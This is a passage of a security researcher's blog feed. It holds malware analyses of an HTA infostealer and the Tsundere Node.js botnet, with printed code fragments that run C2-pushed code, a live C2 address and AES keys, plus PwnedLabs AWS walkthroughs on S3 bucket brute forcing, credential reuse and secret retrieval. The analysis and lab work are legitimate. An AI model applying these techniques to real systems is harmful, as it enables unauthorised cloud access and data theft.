sharing</li></ul><ol><li><strong>Commercial Malware-as-a-Service</strong></li></ol><ul><li>Version numbering suggests ongoing development (v3.3)</li><li>Multiple download fallbacks suggest testing</li><li>Task-based modular design</li></ul><p><strong>YARA Rule Matching Results</strong></p><p><strong>Rules vs Known Families:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*lXU7LnlJ0VyufQvF0m0ZjQ.png" /></figure><p>The <strong>generic rule</strong> would also match Aggah and KimJongRAT samples. The <strong>detailed rule</strong> is specific to UpdateHub and should not false-positive on other families.</p><p><strong>Recommendations for Hunting</strong></p><p><strong>Search Terms for Existing Intel:</strong></p><ol><li><strong>VirusTotal Intelligence:<br> </strong>content:”updatehub” OR content:”GoogleTaskSystem136&quot; OR <br> content:”PT30M” AND content:”P3650D” AND content:”Schedule.Service”</li><li><strong>MalwareBazaar:</strong></li></ol><ul><li>Tag: hta, crypto-stealer, usb-worm</li><li>Signature: Scheduled task with “Google” impersonation</li></ul><ol><li><strong>MISP/OpenCTI:</strong></li></ol><ul><li>Search for C2: *-updatehub.cc</li><li>Search for similar HWID patterns</li></ul><ol><li><strong>Passive DNS:</strong></li></ol><ul><li>Query: s?-updatehub.cc (where ? = 0–10)</li><li>Historical resolution data may reveal infrastructure</li></ul><p><strong>Conclusion</strong></p><p><strong>UpdateHub RAT appears to be a newly documented threat</strong> that combines techniques from multiple known malware families:</p><ul><li><strong>Infection chain</strong> resembles Aggah campaign</li><li><strong>USB worm</strong> copied from Spora/Gamarue techniques</li><li><strong>Crypto targeting</strong> similar to modern stealers like KimJongRAT</li><li><strong>Custom C2 protocol</strong> with JWT authentication is unique</li></ul><p>The malware should be tracked as a <strong>distinct family</strong> pending discovery of direct code overlaps with known campaigns. The YARA rules provided should help identify related samples in threat intelligence platforms.</p><p><strong>References</strong></p><ol><li>Unit42 — Aggah Campaign Analysis</li><li>G DATA — Spora Ransomware Worm Analysis</li><li>Unit42 — KimJongRAT Stealer Variant</li><li>Microsoft — StilachiRAT Analysis</li><li>Moonlock — Anti-Ledger Malware Campaign</li><li>HP Wolf Security — Aggah Campaign Cryptocurrency Stealer</li></ol><p><strong>16. Conclusion</strong></p><p>This HTA malware represents a professionally developed multi-stage loader and infostealer with the following characteristics:</p><ul><li><strong>Strong Evasion: </strong>Multiple download methods, hidden execution, security product detection, C2 dependency</li><li><strong>Corporate Targeting: </strong>Extensive AD reconnaissance suggests enterprise environment focus</li><li><strong>Cryptocurrency Focus: </strong>Specific wallet detection for theft operations</li><li><strong>Self-Propagation: </strong>USB spreading via LNK replacement technique</li><li><strong>Modular Design: </strong>Task-based C2 allows flexible payload deployment</li></ul><p>The sophistication level and feature set suggest this is likely part of a commercial malware kit or organized threat actor operation targeting both financial (cryptocurrency) and corporate assets. The C2 dependency serves as both an anti-analysis mechanism and a kill switch, preventing execution in isolated analysis environments.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ade82b93f22a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tsundere Botnet — Node.js Binary]]></title>
            <link>https://medium.com/@august.vansickle/tsundere-botnet-ebfcc0b4420c?source=rss-83e302496c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/ebfcc0b4420c</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[threat-research]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[August van sickle]]></dc:creator>
            <pubDate>Thu, 04 Dec 2025 15:00:15 GMT</pubDate>
            <atom:updated>2025-12-04T15:01:29.139Z</atom:updated>
            <content:encoded><![CDATA[<p>The Tsundere botnet, identified by Kaspersky Global Research and Analysis Team (GReAT) in July 2025, represents a sophisticated evolution in cross-platform malware campaigns orchestrated by a Russian-speaking threat actor known as “koneko.” Initially surfacing through a 2024 npm supply-chain attack involving 287 typosquatted Node.js packages, Tsundere has matured into an actively expanding botnet primarily targeting Windows systems. Leveraging blockchain technology for command-and-control (C2) resilience, it enables dynamic execution of arbitrary JavaScript payloads, posing risks of data exfiltration, cryptocurrency theft, and further compromise.</p><p>Note: I analyzed this sample on my own, after my analysis I identified the malware as being Tsundre Botnet, based on the activity Kaspersky reported on here: <a href="https://securelist.com/tsundere-node-js-botnet-uses-ethereum-blockchain/117979/">The Tsundere botnet uses the Ethereum blockchain to infect its targets | Securelist</a>. I will be reviewing IOC’s and if the ones I observed are still consistent with what was previously reported.</p><p>SHA256: 16e0dbcc6670e7722f68620b6f305e2c4433ed6f7b25174a75480ed5c4b4fe42</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0soR5Qo_hNhwtjwFufoeGg.png" /></figure><p>This hash was initially reported yesterday, December 3, 2025, and there was no real indicators that this was malicious. Comments also reflected one person believing that this was a benign binary based on analysis from an automated sandbox.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t9E6OK70wTPWMf4ie-oYkQ.png" /><figcaption>Sample.js</figcaption></figure><p>This JavaScript (JS) code is pretty heavily obfuscated. The obfuscation combines string encryption, control flow flattening, identifier mangling, and runtime decryption, making it challenging to analyze without deobfuscation tools or manual unpacking.</p><h4>String Obfuscation via Custom Base64 + RC4 Decryption:</h4><p>Nearly all strings (e.g., URLs, function names, console messages) are stored in encrypted arrays and decrypted at runtime using a hybrid Base64 decoder followed by an RC4 (ARC4) stream cipher. This prevents static string-based signatures (e.g., YARA rules) from triggering.</p><p><strong>Implementation Details</strong>:</p><ul><li>The core decoder is defined in the _0x2905 function (lines ~1–50). It initializes an RC4 key schedule using a user-provided key (_0x3495d6).</li><li>Step 1: Base64-like decoding. A mangled Base64 alphabet (‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=’) decodes input into a URI-encoded string (e.g., %XX format), then decodeURIComponent expands it.</li><li>Step 2: RC4 decryption. The decoded string is fed into an RC4 keystream generator</li></ul><pre>// Simplified pseudocode from _0x2905[&#39;SbIfNX&#39;]<br>for (let i = 0; i &lt; 256; i++) sbox[i] = i;  // Initialize S-box<br>j = 0;<br>for (let i = 0; i &lt; 256; i++) {<br>  j = (j + sbox[i] + key.charCodeAt(i % key.length)) % 256;<br>  swap sbox[i] and sbox[j];<br>}<br>// Keystream XOR with plaintext<br>for (let i = 0; i &lt; plaintext.length; i++) {<br>  i_idx = (i + 1) % 256;<br>  j = (j + sbox[i_idx]) % 256;<br>  swap sbox[i_idx] and sbox[j];<br>  k = sbox[(sbox[i_idx] + sbox[j]) % 256];<br>  output += String.fromCharCode(plaintext.charCodeAt(i) ^ k);<br>}</pre><p>Identifier Mangling with Hexadecimal Names</p><p>All variables, functions, and properties use randomized hexadecimal prefixes (e.g., _0x2905, _0x381842, _0x4f8a99). This is generated by tools like javascript-obfuscator, renaming ~90% of identifiers to meaningless shorts.</p><p><strong>Implementation Details</strong>:</p><ul><li>Functions like _0x4f8a() return the string array.</li><li>Nested helpers (e.g., _0x56f881(_0x575caf — -0xf5, _0x3c7903) ) compute indices via arithmetic offsets (e.g., arg — 0x17b).</li><li>Multiple layers: Outer _0x2905, inner _0x232dae, _0x5cb090, each with its own array and offset math.</li></ul><p><strong>Control Flow Flattening with While-Try-Catch Loops</strong></p><p>Linear code is “flattened” into opaque predicates — while loops that shift/rotate an array until a computed checksum matches a magic value. This disrupts disassemblers and adds anti-debugging (e.g., infinite loops if tampered).</p><pre>while(!![]){  // Infinite loop<br>  try {<br>    const _0x1b1805 = parseInt(_0x56f881(0x238, ...)) / 1 + ...;  // Compute sum of obfuscated ints<br>    if (_0x1b1805 === _0xad14cc) break;  // Magic: 0x704f6 (~458086)<br>    else _0x596a8d[&#39;push&#39;](_0x596a8d[&#39;shift&#39;]());  // Rotate array<br>  } catch { _0x596a8d[&#39;push&#39;](_0x596a8d[&#39;shift&#39;]()); }<br>}</pre><p>Multi-Layered Obfuscation and Runtime Code Execution</p><p>Obfuscation is nested (e.g., _0x2905 calls _0x232dae, which calls _0x5cb090). Dynamic new Function() executes decrypted payloads, enabling further evasion.</p><p><strong>Implementation Details</strong>:</p><ul><li>Layers: 4+ decoders (_0x2905, _0x232dae, _0x5cb090, _0x31de0e). Each has its own array (e.g., _0x41cd62 with 70+ hex keys).</li><li>Runtime Eval: In onMessage (lines ~600+), decrypts incoming WebSocket data, then</li></ul><pre>const _0x33324b = new Function(&#39;require&#39;, &#39;global&#39;, ..., decrypted_code);<br>_0x33324b(require, global, ...);  // Executes arbitrary JS</pre><ul><li>Payloads include overrides like global.serverSend for C2 callbacks.</li><li>AES Encryption: Outbound/inbound messages use AES-256-CBC (crypto module) with runtime keys/IVs (16-byte IV check).</li></ul><h4>Anti-Analysis and Evasion Techniques</h4><ul><li><strong>Dynamic Imports</strong>: require(‘ws’), require(‘crypto’), require(‘os’), require(‘ethers’) — delays footprint.</li><li><strong>Error Handling</strong>: Broad try-catch swallows exceptions, logging minimally</li><li><strong>Timing/Polling</strong>: Ping-pong over WebSocket (30s interval), reconnects on failure (15s timeout).</li><li><strong>Platform-Specific</strong>: Windows-focused (e.g., wmic queries for UUID, GPU via PowerShell). Collects sysinfo (MAC, BIOS, volume serial) hashed into UUID.</li></ul><p>System Fingerprinting</p><p>The malware collects victim data:</p><ul><li>Username (os.userInfo())</li><li>Hostname (os.hostname())</li><li>Platform/Architecture</li><li>CPU information</li><li>GPU information (WMI: Win32_VideoController)</li><li>MAC Address (first non-internal interface)</li><li>Total Memory</li><li>Node.js Version</li><li>Windows Edition (WMI: Win32_OperatingSystem)</li><li>Volume Serial Number (vol command)</li><li>BIOS Information (WMI: SystemBIOS)</li><li>System UUID (Registry: MachineGuid)</li></ul><p>All data is hashed (SHA256) to create a unique userId in UUID format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FaNs-pirupfsmJvUzivK0w.png" /><figcaption>Connections and Host Enumeration</figcaption></figure><p>CIS Country Kill Switch (Ukraine being an exception)</p><ul><li>hy (Armenian)</li><li>hy-AM (Armenian — Armenia)</li><li>az (Azerbaijani)</li><li>be (Belarusian)</li><li>be-BY (Belarusian — Belarus)</li><li>kk (Kazakh)</li><li>ky (Kyrgyz)</li><li>ky-KG (Kyrgyz — Kyrgyzstan)</li><li>ru (Russian)</li><li>ru-RU (Russian — Russia)</li><li>ru-BY (Russian — Belarus)</li><li>ru-KG (Russian — Kyrgyzstan)</li><li>ru-MD (Russian — Moldova)</li><li>ru-UA (Russian — Ukraine)</li><li>tg (Tajik)</li><li>uk (Ukrainian)</li><li>uk-UA (Ukrainian — Ukraine)</li><li>uz (Uzbek)</li></ul><p>Remote Code Exection (RCE)</p><p>When receiving a message with id=1, the malware:</p><p>1. Creates a new Function() with the received code</p><p>2. Provides access to: require, global, console</p><p>3. Executes the code in a try-catch wrapper</p><p>4. Sends results back via serverSend() callback</p><p>This allows the C2 server to push arbitrary Node.js code for execution.</p><p>Registry Queries:</p><ul><li>HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid (System UUID)</li><li>HKLM\SYSTEM\CurrentControlSet\Control\SystemInformation\SystemBIOSVersion</li></ul><p>When I execute the JS binary in cmd.exe:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FaNs-pirupfsmJvUzivK0w.png" /></figure><p>We see it making connections to RPC at multiple different Ethereum Wallet Endpoints. It also gathers host enumeration details as defined earlier in the code review.</p><p>The Process Tree:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*bCsM9K_qYVsFQfvw_DJNfg.png" /></figure><p><strong>Process Tree Breakdown</strong></p><p>node.exe (8072)<br> ├── “C:\Program Files\nodejs\node.exe” …16e0dbcc6670e7722f68620b6f305e2c4433ed6f7b25174a75480ed5c4b4fe42.js<br> │<br> ├── cmd.exe (3812) → powershell.exe “[System.Globalization.CultureInfo]::InstalledUICulture.Name”<br> │ └── [CIS LOCALE CHECK — Kill Switch]<br> │<br> ├── cmd.exe (7164) → powershell.exe “Get-WmiObject Win32_VideoController | Select-Object -ExpandProperty Name”<br> │ └── [GPU FINGERPRINTING]<br> │<br> ├── cmd.exe (7252) → reg query “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion” /v ProductName<br> │ └── [WINDOWS EDITION]<br> │<br> ├── reg.exe (4356) → reg query “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion” /v ProductName<br> │ └── [WINDOWS EDITION — direct call]<br> │<br> ├── cmd.exe (4440) → cmd.exe /d /s /c “vol”<br> │ └── [VOLUME SERIAL NUMBER]<br> │<br> ├── cmd.exe (7008) → reg query “HKLM\HARDWARE\DESCRIPTION\System\BIOS”<br> │ └── [BIOS FINGERPRINTING]<br> │<br> ├── reg.exe (8068) → reg query “HKLM\HARDWARE\DESCRIPTION\System\BIOS”<br> │ └── [BIOS — direct call]<br> │<br> ├── cmd.exe (832) → reg query “HKLM\SOFTWARE\Microsoft\Cryptography” /v MachineGuid<br> │ └── [SYSTEM UUID — Unique identifier]<br> │<br> ├── reg.exe (7432) → reg query “HKLM\SOFTWARE\Microsoft\Cryptography” /v MachineGuid<br> │ └── [SYSTEM UUID — direct call]<br> │<br> ├── cmd.exe (1496) → powershell.exe “[System.Globalization.CultureInfo]::InstalledUICulture.Name”<br> │ └── [SECOND LOCALE CHECK — possibly in reconnect loop]<br> │<br> └── powershell.exe (4) → “[System.Globalization.CultureInfo]::InstalledUICulture.Name”<br> └── [THIRD LOCALE CHECK]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8x6oq4NIOG0l1S29L9DZCA.png" /><figcaption>Connecting to eth-mainnet.public.blastapi.io</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*rggfWYmBraPg7j6wbPebbw.png" /><figcaption>Connection to rpc.flashbots.net</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cuGouDok_DbaKPgWx2pKeA.png" /><figcaption>Shodan verifying Wallet RPC Endpoints</figcaption></figure><p><strong>Example of the Websocket Handshake Get Request:</strong></p><p>CLIENT REQUEST:</p><p>— — — — — — — -</p><p>GET / HTTP/1.1</p><p>Sec-WebSocket-Version: 13</p><p>Sec-WebSocket-Key: gcG7wVAmx5B2IhtwTdv9WQ==</p><p>Connection: Upgrade</p><p>Upgrade: websocket</p><p>Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits</p><p>Host: 193.24.123.68:3011</p><p><strong>Traffic Flow Summary:</strong></p><ul><li>13808 551.95 →C2 227 WebSocket handshake request</li><li>13815 552.12 ←C2 129 101 Switching Protocols</li><li>13816 552.12 ←C2 34 AES-256 Key (binary)</li><li>13818 552.13 →C2 6 ACK</li><li>13822 552.29 ←C2 18 AES IV (binary)</li><li>13923 553.41 →C2 520 Encrypted victim fingerprint</li><li>13997 553.63 ←C2 50 Encrypted ack: “Connected”</li></ul><p><strong>IOCs</strong></p><p>Network:</p><ul><li>193.24.123.68:3011 (WebSocket C2)</li><li>rpc.flashbots.net (Ethereum RPC)</li><li>rpc.mevblocker.io (Ethereum RPC)</li><li>eth.llamarpc.com (Ethereum RPC)</li><li>eth.merkle.io (Ethereum RPC)</li><li>eth.drpc.org (Ethereum RPC)</li></ul><p>Also, these are all new IOC’s compared to the Kaspersky report:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/263/1*2eQr0SHBM0nHnBqrEpFyvQ.png" /></figure><p><strong>Encryption</strong></p><ul><li>AES Key: e5f4e1b5d1065b0ecd6b3ef972d451e1c63ecd8da4d73b82cf429d70d13d166f</li><li>AES IV: 4e3d21a0941bb92632c4997fd4a582b1</li></ul><p>Thank you! Critque welcome and appreciated!</p><p>August Vansickle<br>Twitter: <a href="http://twitter.com/LunchM0n3ey9090">@LunchM0n3ey9090</a></p><p>Linkedin: <a href="https://www.linkedin.com/in/august-vansickle-18b3201b1/">August Vansickle | LinkedIn</a></p><p><strong>References:</strong></p><p><a href="https://securelist.com/tsundere-node-js-botnet-uses-ethereum-blockchain/117979/">The Tsundere botnet uses the Ethereum blockchain to infect its targets | Securelist</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ebfcc0b4420c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[100 Days of Yara]]></title>
            <link>https://medium.com/@august.vansickle/100-days-of-yara-9e07ba4623aa?source=rss-83e302496c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e07ba4623aa</guid>
            <dc:creator><![CDATA[August van sickle]]></dc:creator>
            <pubDate>Wed, 15 Jan 2025 17:15:54 GMT</pubDate>
            <atom:updated>2025-01-15T17:15:54.074Z</atom:updated>
            <content:encoded><![CDATA[<p>Day 15</p><p>#100DaysOfYara Day 15</p><p>So today, I went hunting on my own through open dir’s to find some spicy binaries.</p><p>Heres a resource to learn about open dir hunting using censysy: https://censys.com/a-beginners-guide-to-hunting-open-directories/</p><p>The one I looted from, I grabbed a file called excel-https.exe. Part of the reason that interested me, is that file naming convention is typical of C2 implants, esp for ex, Cobalt Strike.</p><p>The binary was a PE32, had a lot of socket calls, and functionality, it had metadata that indicated it was an Apache tool used for load testing — ApacheBench: https://censys.com/a-beginners-guide-to-hunting-open-directories/</p><p>So I almost gave up, but there were calls for retrieving process ID’s, getting handles on processes, etc and Apache Bench is only testing web apps for load.</p><p>and, there was a hardcoded IP, which I visited and is the open dir I found in the first place.</p><p>So heres my Rule:</p><p>https://github.com/augustvansickle/2025_100DaysofYara/blob/76aaaa87796ef90fc5b3b8dba665c6b539a9d68e/Day15_OpenDir_HTTP_Beacon_PE.yar</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e07ba4623aa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[S3 Bucket Brute Force to Breach]]></title>
            <link>https://medium.com/@august.vansickle/s3-bucket-brute-force-to-breach-c770f93cab8b?source=rss-83e302496c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/c770f93cab8b</guid>
            <category><![CDATA[pwned-lab]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[threat-research]]></category>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[August van sickle]]></dc:creator>
            <pubDate>Wed, 27 Nov 2024 21:51:14 GMT</pubDate>
            <atom:updated>2024-11-27T21:51:14.317Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*fooMmMzkFNHFVIhlc8ctFg.png" /></figure><p>Scenario</p><p>Huge Logistics, a global powerhouse, has enlisted your expertise to evaluate their cloud security measures. During your preliminary scans, an S3 bucket titled hlogistics-web caught your attention. Your mission is to use knowledge of the naming convention to access other S3 buckets, and pivot to other cloud services if possible</p><p>Learning outcomes</p><p>Discovering S3 buckets using ffuf</p><p>Familiarity with the AWS CLI</p><p>Retrieving a secret from the AWS Systems Manager parameter store</p><p>Enumerating IAM permissions with aws-enumerator</p><p>Interacting with Lambda functions</p><p>An awareness of best practices and how this scenario could have been mitigated</p><p>Real-world context</p><p>Over the past few years, there have been numerous reports of data exposures due to misconfigured S3 buckets. S3 bucket names are globally unique and are often predictably named due to company standardization. If a bucket is not properly secured, discovering its name can lead to unauthorized access of its contents. This has led to a focus on developing automation to discover S3 buckets</p><p>Enumeration</p><p>We start off by issuing a cURL request for the S3 bucket, which reveals that it was created in the eu-west-2 (London) region. The 403 Forbidden response confirms that the bucket exists</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*X9WPNnZ_y68AiMrR5v3mvw.png" /></figure><p>Maybe the company uses the hlogistics-&lt;environment&gt; format for other buckets? We can use the ffuf fuzzer to brute force other buckets that they own. Install it using the command below</p><p>HOW TO EXPAND SCOPE OF BUCKETS</p><p>go install github.com/ffuf/ffuf/v2@latest</p><p>or</p><p>git clone <a href="https://github.com/ffuf/ffuf">https://github.com/ffuf/ffuf</a> ; cd ffuf ; go get ; go build</p><p>The wordlist below contains some of the most common aws s3 bucket names. It’s also worth creating and maintaining your own list of discovered environments that may not be in other lists</p><p>wget <a href="https://raw.githubusercontent.com/koaj/aws-s3-bucket-wordlist/master/list.txt">https://raw.githubusercontent.com/koaj/aws-s3-bucket-wordlist/master/list.txt</a></p><p>We already know that the company uses the eu-west-2 region but it’s worth enumerating all regions. Save the list below as regions.txt</p><p>us-west-1</p><p>us-west-2</p><p>us-east-1</p><p>us-east-2</p><p>cn-north-1</p><p>cn-northwest-1</p><p>eu-central-1</p><p>eu-north-1</p><p>eu-west-1</p><p>eu-west-2</p><p>eu-west-3</p><p>ap-northeast-1</p><p>ap-northeast-2</p><p>ap-northeast-3</p><p>ap-south-1</p><p>ap-southeast-1</p><p>ap-southeast-2</p><p>ca-central-1</p><p>me-south-1</p><p>sa-east-1</p><p>us-gov-east-1</p><p>us-gov-west-1</p><p>ap-east-1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*6ZxIwM7pIxSgD7LiTvTWPw.png" /></figure><p>Run the ffuz command below. The ENVIRONMENT and REGION placeholders will be replaced by words from the provided wordlists (list.txt and regions.txt respectively)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xFVosy_xpKCcLLaK9Xxsow.png" /></figure><p>This got a few hits!</p><p>We can follow up with manually enumerating the buckets using the AWS CLI. Issuing the command aws s3 ls s3://hlogistics-web — no-sign-request to list file contents of the hlogistics-web bucket returns the file index.html. Navigating to this file in a browser we see the webpage below</p><p>Note: The source code also refers to the buckets hlogistics-staticfiles and hlogistics-images which is a more direct way of confirming the naming convention and discovering buckets</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*7Jq1IFMncbDWmt5tkFkK9Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*yoP_abNcs_U72IRJoeFFSQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*44WGzmKQovdXOhjakUbJSQ.png" /></figure><p>The S3 bucket named hlogistics-staticfiles seems to contain a lot of website files that we download with the command aws s3 cp s3://hlogistics-staticfiles . — recursive — no-sign-request for further inspection, but there doesn’t seem to be anything interesting from a security perspective. We can check for file versions or write permissions, but the bucket hlogistics-images is also not interesting to us</p><p>However the bucket named hlogistics-beta is found to contain the Python file SystemTrackingPackagesTest.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*PvI--DnFVDD_tLoUn_UxjA.png" /></figure><p>Lets take a look at the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*61cY94Deea7fiOYWudfFpg.png" /></figure><p>We get a set of credentials and we can see that its interacting with lambda as well</p><p>It interacts with a Lambda instance. Lambda is a serverless compute service in AWS that lets you run code without provisioning or managing servers. After reviewing the source code fully and running it we get the error below, confirming that our current execution context is as the IAM user ecollins</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HGjCdC2gkoSUPsopF-K18A.png" /></figure><p>Attempting to list the user policies attached to this user is successful and we see the policy named SSM_Parameter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*vvEZsOUmRuIp7k5Sn2dnHQ.png" /></figure><p>We’re also able to get the policy document, revealing that we are able to perform the GetParameter and DescribeParameters action on the AWS Systems Manager (SSM) parameter named lharris . SSM allows us to view and control our infrastructure on AWS</p><p>SSM parameters allows for securely storing and managing sensitive information and configuration data. We can store data such as passwords, database connection strings, and license codes as parameter values. SSM and AWS Secrets Manager differ in cost and functionality. SSM is more cost-effective with free standard parameters up to 10,000 entries, while Secrets Manager charges for API calls and per secret monthly. Secrets Manager offers automatic password generation and rotation, which SSM lacks. Secrets Manager is recommended for comprehensive secret management, while SSM is a cost-friendly, basic solution</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*hpZEIU0Dcuf1bY3Zt0VYLQ.png" /></figure><p>Retrieving the parameter with the command below, we get AWS keys!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*uNtnlp58idCo64j751j1iA.png" /></figure><p>If you get an error with the command above (such as the example below), this is because a region other than eu-west-2 was specified when setting the keys for the user. In this case we know that the company already has infrastructure deployed to the eu-west-2 region, so this is worth setting. If you need to retrospectively set the region for an AWS IAM user, just run aws configure again and specify the new region</p><p>At this point I branched off from the PwnedLabs walkthrough, they used a tool called “aws-enumerator”, wichi I couldn’t get to work so I did things more manually, this cheat sheet helped:</p><p><a href="https://github.com/pop3ret/AWSome-Pentesting/blob/main/AWSome-Pentesting-Cheatsheet.md">https://github.com/pop3ret/AWSome-Pentesting/blob/main/AWSome-Pentesting-Cheatsheet.md</a></p><p>So I used the lharris AWS user context to list all functions for lamba and we see the file that def looks interesting and ends up having the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*c6vjzp6aa1acoVIlUSaQug.png" /></figure><p>Specifically permission to list Lambda functions</p><p>Listing the available Lambda functions with the command below returns a function named crew_administration_data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*5tuOjAs_oUakewmCsmauDw.png" /></figure><p>Then you can retrieve the file with aws lambda invoke and then read the output.txt file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*PcNuQ6jmbTZpyZ7HN2D2ew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*guhIA15acqdm3He6Vq983Q.png" /></figure><p>All credit again to PwnedLabs.io</p><p>To be honest it was good that I had to find another way to list the Lambda functions, good exercise</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c770f93cab8b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Intro to AWS IAM Enumeration]]></title>
            <link>https://medium.com/@august.vansickle/intro-to-aws-iam-enumeration-23d8e32ed2f2?source=rss-83e302496c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/23d8e32ed2f2</guid>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[threat-research]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[pwned-lab]]></category>
            <dc:creator><![CDATA[August van sickle]]></dc:creator>
            <pubDate>Wed, 27 Nov 2024 00:41:06 GMT</pubDate>
            <atom:updated>2024-11-27T00:41:06.209Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*A2NI7_IOPoOplPtEAyAapQ.png" /></figure><p>Scenario</p><p>You are a security consultant hired by the global logistics company, Huge Logistics. Following suspicious activity, you are tasked with enumerating the IAM user dev01 and mapping out any potentially compromised resources. Your mission is to enumerate and evaluate IAM roles, policies, and permissions</p><p>Learning outcomes</p><p>Familiarity with the AWS CLI</p><p>Understanding of the basic AWS IAM components</p><p>Ability to list, retrieve and interpret IAM policies</p><p>Real-world context</p><p>IAM (Identity and Access Management) is central to building, defending and attacking cloud services. Both offensive and defensive security practitioners need a solid understanding of IAM and how to enumerate permissions: attackers look for overly-permissive settings or misconfigurations in a potential attack chain, while defenders ensure need to enforce the principle of least privilege and identify any resources or services that are in the blast radius of a compromised IAM user</p><p>Walkthrough</p><p>How can we interact with AWS?</p><p>There are many ways of interacting with AWS! In this lab we’re going to get hands-on with the AWS Management Console and AWS CLI</p><p>AWS Management Console: A web interface that provides a graphical way to manage AWS resources</p><p>AWS CLI: The Command Line Interface allows you to manage AWS services through the command line</p><p>SDKs: Software Development Kits are available in various languages like Python (Boto3), Java, .NET, and more, allowing for programmatic access to AWS services</p><p>APIs: Most AWS services expose RESTful APIs that you can interact with directly</p><p>AWS Management Console</p><p>The AWS Management Console URL for IAM (Identity and Access Management) Users looks like the example below. Our AWS Account ID 794929857501 forms part of the URL, and AWS uses this to automatically populate the Account ID field of the IAM User sign-in page. Go ahead and click on the link and sign in with the provided AWS IAM user credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZnfgfajnLI7aa9tAIxvBFw.png" /></figure><p>Upon logging in we see a collection of recently visiting services. Clicking Services in the top-left corner of the Window we can then click All services and scroll through an alphabetized list of services</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*udV_qmlLYP7FxMY7AajIDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ONxrYqpBlDToqM1luATCdA.png" /></figure><p>The AWS console offers a convenient way to access, create, modify and delete resources</p><p>Click the GuardDutyservice above, in the alphabetized list or open after searching for the service. In the GuardDuty console that opens, select the region us-west-1 from the drop-down list, and start exploring!</p><p>AWS CLI</p><p>While the AWS Management Console is very convenient, the AWS CLI is very powerful and allows us to batch process commands and carry out automation, making our lives easier!</p><p>This lab will focus on the AWS CLI, as we look to identify the blast radius of the potentially compromised IAM user, and what they could have accessed</p><p>The AWS CLI can be installed using the command below for Debian / Ubuntu. For other operating systems and distributions you can refer to the AWS documentation here</p><p>apt install awscli</p><p>In the AWS CLI, we authenticate using an AWS Access Key and Secret Key. What are they?</p><p>The Access Key and Secret Access Key together form a set of credentials used to authenticate API requests, functioning as a kind of “username and password”. These keys are generated through the AWS Management Console and are linked to an IAM (Identity and Access Management) user or AWS root account</p><p>Access Key ID: This is a 20-character alphanumeric string (e.g., “AKIAIOSFODNN7EXAMPLE”). It’s used to identify the user or account making a programmatic request to an AWS service. It is meant to be shared, like a username</p><p>Secret Access Key: This is a 40-character string (e.g., “wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY”) and serves as the “password” to authenticate requests made with the corresponding Access Key ID. Unlike the Access Key ID, the Secret Access Key is 